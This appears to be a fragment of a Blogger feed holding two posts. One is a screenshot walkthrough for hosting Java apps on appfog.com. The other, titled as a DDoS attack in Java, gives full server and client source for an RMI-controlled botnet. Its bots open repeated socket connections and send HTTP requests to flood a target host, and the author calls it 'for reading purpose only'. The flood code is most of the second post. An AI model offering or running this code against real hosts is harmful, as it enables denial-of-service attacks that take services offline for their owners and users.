style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Everyone these days keep on asking me for a hosting of their web services that developed on JAVA. As every developer is much aware of the heavy cost on the servers of java. We have few ways in order to reduce cost of web services hosting by creating an account on Amazon Elastic Cloud. But, this will not be the case often as in most of the cases we need to demonstrate an application for which no one is willing to pay for registration of any hosting server.&lt;br /&gt;
&lt;br /&gt;
Finally we got a solution under the roof of appfog.com. As appfog.com is a free web cloud to host java based services that can be used for integration with Android, Java Desktop Application or any other application where you want to integrate a java service. So, my this blog is just to demonstrate a way to host an application.&lt;br /&gt;
&lt;br /&gt;
Once you will click on this link&lt;a href=&quot;http://www.appfog.com/&quot;&gt; http://www.appfog.com&lt;/a&gt; you will get to the first page of appfog which will be something like this:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7ZY_FdRAGGFKdEb2kQiymqJxVYUnl078XoEnFH8wclv8wgVHt6A62Ez8kEG5ibMtq3i7GK3PZA61rj-0jkcIlmV61X9QhVFiq4wYGT4f3ygLdk-rnD1ibQ8F21g1E2Yk1sSAcAZ8l_p8f/s1600/1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;159&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7ZY_FdRAGGFKdEb2kQiymqJxVYUnl078XoEnFH8wclv8wgVHt6A62Ez8kEG5ibMtq3i7GK3PZA61rj-0jkcIlmV61X9QhVFiq4wYGT4f3ygLdk-rnD1ibQ8F21g1E2Yk1sSAcAZ8l_p8f/s320/1.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;After choosing sign-up go input the information with a valid email address because they will send you an activation token on to that email address.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkUE5DEfAIjKE29VBWdww4EMywNpLej3vqR5AhTYyxvsNqgAtocmNKJeJ4SsIbM7YLcLbh121q8lFxU6slUm2qiSdVqeIpmD8HhL8ma1rLgvO-vUvntybEUPI2ckF9Q_okkLRTaC_9Q8Ph/s1600/2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;207&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkUE5DEfAIjKE29VBWdww4EMywNpLej3vqR5AhTYyxvsNqgAtocmNKJeJ4SsIbM7YLcLbh121q8lFxU6slUm2qiSdVqeIpmD8HhL8ma1rLgvO-vUvntybEUPI2ckF9Q_okkLRTaC_9Q8Ph/s320/2.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiIi9Rih4C4FNV67nm88Hxh5dfIdpksVE0oi4amO7iC1b86tSwzEmizyfi7ftf_uaPwAmynZZt7yZMF0W4LQ9QosccWBkySKpMxrSEmn97FT3skl8BDGT28Pn9Ft6xSVEXdgYvu8jiDt5N/s1600/3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiIi9Rih4C4FNV67nm88Hxh5dfIdpksVE0oi4amO7iC1b86tSwzEmizyfi7ftf_uaPwAmynZZt7yZMF0W4LQ9QosccWBkySKpMxrSEmn97FT3skl8BDGT28Pn9Ft6xSVEXdgYvu8jiDt5N/s320/3.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;Once you got an email input the activation token to this window or directly click the link that was provided in you email account.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcP6JoJ9Ifk6wWd-FsR8ycmbWfKnt6u-x94FggcWfBJucT0v9JdMKlpvdCAYYW6Aaj2mrMTL9-mnclB-gWkC2wwBvUemF7GyULQo2a3m_xxDyul76Eev5N-h-uk2T0W1UsgjFUb3wRfDde/s1600/4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcP6JoJ9Ifk6wWd-FsR8ycmbWfKnt6u-x94FggcWfBJucT0v9JdMKlpvdCAYYW6Aaj2mrMTL9-mnclB-gWkC2wwBvUemF7GyULQo2a3m_xxDyul76Eev5N-h-uk2T0W1UsgjFUb3wRfDde/s320/4.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;After account activation you will be redirected to your profile page where you can even see the quote of your cloud drive space which is 2GB for free accounts with 8 services that can be deployed on your cloud machine.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg62uK1PRhhMXlj91d6Gl5lkdCnU2A_uJpKvHpvZWHpgaYHkxzc6BYFw4JUBXz4Wb9nSzgr3RsJGiKakoV1cKD6TCzDXLh5fB-9fJVUDhLou0ziG8-m6ysFJE0Hmnoobz0NQrD_WXnhrKUe/s1600/5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;151&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg62uK1PRhhMXlj91d6Gl5lkdCnU2A_uJpKvHpvZWHpgaYHkxzc6BYFw4JUBXz4Wb9nSzgr3RsJGiKakoV1cKD6TCzDXLh5fB-9fJVUDhLou0ziG8-m6ysFJE0Hmnoobz0NQrD_WXnhrKUe/s320/5.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Here you must be seeing at all those 5 tabs that are showing other then the profile that was by default selected. (i.e. Apps, Services, SSL, Plans &amp;amp; Teams). So here only 2 will be useful as Teams is only available for paid users which you can use for collaboration, obviously as we mentioned we are solo in our company so not going to bother to get a paid services in order to use this thing. Secondly we are willing to have free account not a paid one so in my case team I can stay happy without team collaboration. Second tab that we will not be able to consume is SSL. Well now not trying to get into the cons and being optimistic looking into the pros of appfog.com.&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILc10lo-HLbupTV0KbAuOwpcyrhZr08xxQnRAygnJGa1uNlKoe_0AhBkTWNR8bmJKfhmyGQfn_aYnWpKJuldibolH91TdyTMvPIZtSmG92-UZrnMwoylpY4kb2mH70KYclYyuLQ0BMR3C/s1600/6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;108&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILc10lo-HLbupTV0KbAuOwpcyrhZr08xxQnRAygnJGa1uNlKoe_0AhBkTWNR8bmJKfhmyGQfn_aYnWpKJuldibolH91TdyTMvPIZtSmG92-UZrnMwoylpY4kb2mH70KYclYyuLQ0BMR3C/s320/6.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now don&#39;t drag it further and click on apps tab and in App tab you will find a button of new tab. By clicking on new tab you will have a simple wizard screen where you need to select application then infrastructure and finally write the name of domain which will be used to access that application.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8G2udoRpZT2avwnnX381Y_AkoJCnPkBKo2NvOeLq4vmOFkiyiQQ9PQ5WW4xZCJ4bGoueORI5-uqmMQIUzMb0D9UzQpt_jlyF3ykMAP6EahA-p0WN5mwoKHJs9N0h_UkqwR0nBXjodn14W/s1600/7.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8G2udoRpZT2avwnnX381Y_AkoJCnPkBKo2NvOeLq4vmOFkiyiQQ9PQ5WW4xZCJ4bGoueORI5-uqmMQIUzMb0D9UzQpt_jlyF3ykMAP6EahA-p0WN5mwoKHJs9N0h_UkqwR0nBXjodn14W/s320/7.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjqOmNNsz0tHrpzxzDUzgly4So7iAmokzC6S4AFQDGvEqq5iO4Cs5hHzI4LoWBibgPC0Q0JHPNEhWV9cXA0lRlmLZBI05QoNgk_vVlAOL3TjIFhUc-Ajv23xDZZ0yWVkBIUZCiBgQLshQd/s1600/8.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjqOmNNsz0tHrpzxzDUzgly4So7iAmokzC6S4AFQDGvEqq5iO4Cs5hHzI4LoWBibgPC0Q0JHPNEhWV9cXA0lRlmLZBI05QoNgk_vVlAOL3TjIFhUc-Ajv23xDZZ0yWVkBIUZCiBgQLshQd/s320/8.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;This is it. Once you will create the application you will see the following screen and your app created on cloud in few seconds.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPimDPEiixrSbs7uEH94xBAs2GvhQ8XecKz8oJd7xJnKL_c2sjUWodI_VTKwDoJsBRovAYMv2ZF04ZV8xaNxNjFeG86tgLzPHBBiGkk2FLEC3oW4h6dfOx3Vwh-89-baTf2WlmlKLPO9dc/s1600/9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;102&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPimDPEiixrSbs7uEH94xBAs2GvhQ8XecKz8oJd7xJnKL_c2sjUWodI_VTKwDoJsBRovAYMv2ZF04ZV8xaNxNjFeG86tgLzPHBBiGkk2FLEC3oW4h6dfOx3Vwh-89-baTf2WlmlKLPO9dc/s320/9.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Service can also be created from the new application that you have created.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/7969429019720509710/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2013/07/appfog-free-cloud-for-java.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/7969429019720509710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/7969429019720509710'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2013/07/appfog-free-cloud-for-java.html' title='AppFog free cloud for Java '/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7ZY_FdRAGGFKdEb2kQiymqJxVYUnl078XoEnFH8wclv8wgVHt6A62Ez8kEG5ibMtq3i7GK3PZA61rj-0jkcIlmV61X9QhVFiq4wYGT4f3ygLdk-rnD1ibQ8F21g1E2Yk1sSAcAZ8l_p8f/s72-c/1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-6329426835617429881</id><published>2013-05-13T00:14:00.000-07:00</published><updated>2013-05-13T00:14:06.878-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>DDOS (Distributed Denial of Service) Attack in Java </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
We often hear about the word DOS attack on a site, and few people often think like DOS only means Disk Operating System. But, here DOS is something big, and we use it to crash and operational site by consuming the quote of daily or monthly or yearly requests of a site.&lt;br /&gt;
&lt;br /&gt;
Here I would like to share a basic program using RMI based bots that will be helpful for reading purpose only. My intention is not to develop hacker but just to give an idea of using RMI in JAVA.&lt;br /&gt;
&lt;br /&gt;
First we have created an interface that will be concreted in it&#39;s implementation later. But, the main purpose behind creating this interface is just for RMI as the look up functionality of RMI needs an interface instead of complete implementation.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
import java.rmi.*;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
// DDOSService Interface&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
// Interface for a RMI service that will actually attack on a target machine&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
public interface DDOSService extends java.rmi.Remote&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
{&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public String attack ( )&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;throws RemoteException;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
}&lt;/blockquote&gt;
&lt;/blockquote&gt;
Now this time is just to provide an implementation of that interface:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
import java.math.*;&lt;br /&gt;import java.rmi.*;&lt;br /&gt;import java.rmi.server.*;&lt;br /&gt;import java.io.BufferedWriter;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;import java.io.OutputStreamWriter;&lt;br /&gt;import java.net.Socket;&lt;br /&gt;import java.net.UnknownHostException;&lt;br /&gt;//&lt;br /&gt;// DDOSServiceServer&lt;br /&gt;//&lt;br /&gt;// Server for a RMI service that calculates powers&lt;br /&gt;//&lt;br /&gt;public class DDOSServiceServer extends UnicastRemoteObject implements Runnable, DDOSService&lt;br /&gt;{&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;//Target Machine&lt;br /&gt;&amp;nbsp; &amp;nbsp; final String TARGET = &quot;wasif-pc&quot;;&lt;br /&gt;&amp;nbsp; &amp;nbsp; static DDOSServiceServer _instance;&lt;br /&gt;&amp;nbsp; &amp;nbsp; public DDOSServiceServer () throws RemoteException&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; super();&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; // Calculate the square of a number&lt;br /&gt;&amp;nbsp; &amp;nbsp; public String attack( )&lt;br /&gt;&amp;nbsp; &amp;nbsp; throws RemoteException&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;_instance = new DDOSServiceServer ();&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;//2 threads on each machine&lt;br /&gt;&amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; for (int i = 0; i &amp;lt; 2; i++)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;new Thread(_instance).start();&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; String attack;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;attack = &quot;Attacking:&quot;+ TARGET ;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return attack;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;public void run() {&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;//1000 HTTP Requests using each client you can send more requests too&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for (int i = 1; i &amp;lt; 1000; i++) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;try {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Socket net = new Socket(TARGET, 80); // connects the Socket to the TARGET port 80.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sendRawLine(&quot;GET / HTTP/1.1&quot;, net); // Sends the GET / OutputStream&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sendRawLine(&quot;Host: &quot; + TARGET, net); // Sends Host: to the OutputStream&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println(&quot;Attacking on Target &amp;nbsp;&quot;+TARGET+&quot; with Connection #: &quot; + i);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;} catch (UnknownHostException e) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.println(&quot;DDoS.run: &quot; + e);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;} catch (IOException e) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.println(&quot;DDoS.run: &quot; + e);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; public static void main ( String args[] ) throws Exception&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // Assign a security manager, in the event that dynamic&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// classes are loaded&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // Create an instance of our power service server ...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DDOSServiceServer svr = new DDOSServiceServer();&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // ... and bind it with the RMI Registry&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Naming.bind (&quot;DDOSService&quot;, svr);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println (&quot;Service bound....&quot;);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; public static void sendRawLine(String text, Socket sock) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;try {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;out.write(text + &quot; &quot;);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;out.flush();&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;} catch (IOException ex) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ex.printStackTrace();&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;}&lt;/blockquote&gt;
&lt;br /&gt;
Till now we have almost done with our Server side code which we will be executing at our control panel machine from where we will be able to provide service to all those clients that will be waiting for our command. Actually here we have used RMI in reverse order as the clients are just acquiring the name of target machine from server. And once they got the name they start hitting it from their own machines.&lt;br /&gt;
&lt;br /&gt;
As this code is just a day effort so probably need some further improvement too.&lt;br /&gt;
&lt;br /&gt;
Now finally, we are at a stage to write the client side code that will be performing the actual task of sending fake requests to the client.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
import java.rmi.*;&lt;br /&gt;import java.rmi.Naming;&lt;br /&gt;import java.io.*;&lt;br /&gt;//&lt;br /&gt;// DDOSServiceClient&lt;br /&gt;//&lt;br /&gt;public class DDOSServiceClient&lt;br /&gt;{&lt;br /&gt;String attack =&quot;&quot;;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public static void main(String args[]) throws Exception&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;{&lt;br /&gt;DDOSServiceClient obj = new DDOSServiceClient() ;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;while(true){&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;obj.attack =&quot;&quot;;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;try{&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;obj.go();&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;catch(java.rmi.ConnectException rc){&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;System.out.println(&quot;Connection Failure&quot;);&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;catch(java.net.ConnectException rc){&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;System.out.println(&quot;Net Failure&quot;);&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;catch(java.rmi.NotBoundException je){&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;System.out.println(&quot;java.rmi.NotBoundException&quot;);&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;System.out.println(obj.attack);&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;private static void go() throws Exception{&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;// Call registry for DDOSService&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;DDOSServiceClient obj = new DDOSServiceClient() ;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;Thread.sleep(5000);&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;//A server IP that need to be replaced with this IP&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;DDOSService service = (DDOSService) Naming.lookup&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;(&quot;rmi://192.168.55.44/DDOSService&quot;);&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;DataInputStream din = new&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;DataInputStream (System.in);&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;//Calling remote Method&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;obj.attack = service.attack();&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;}&lt;/blockquote&gt;
&lt;br /&gt;
